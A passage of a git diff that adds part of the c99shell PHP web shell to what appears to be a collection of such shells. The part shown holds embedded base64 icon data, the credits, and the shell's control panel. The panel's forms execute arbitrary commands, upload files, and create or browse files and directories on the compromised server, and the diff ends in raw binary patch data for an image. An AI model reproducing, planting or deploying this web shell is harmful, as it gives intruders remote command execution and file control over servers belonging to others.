+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://ccteam.ru"><font color="#FF0000">http://ccteam.ru</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> diff --git a/php/PHPshell/c99_PSych0/c99_PSych0.jpg b/php/PHPshell/c99_PSych0/c99_PSych0.jpg new file mode 100644 index 0000000000000000000000000000000000000000..417c354b40b0cd09c1625b556c2b266e04fd3f37 GIT binary patch literal 72673 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 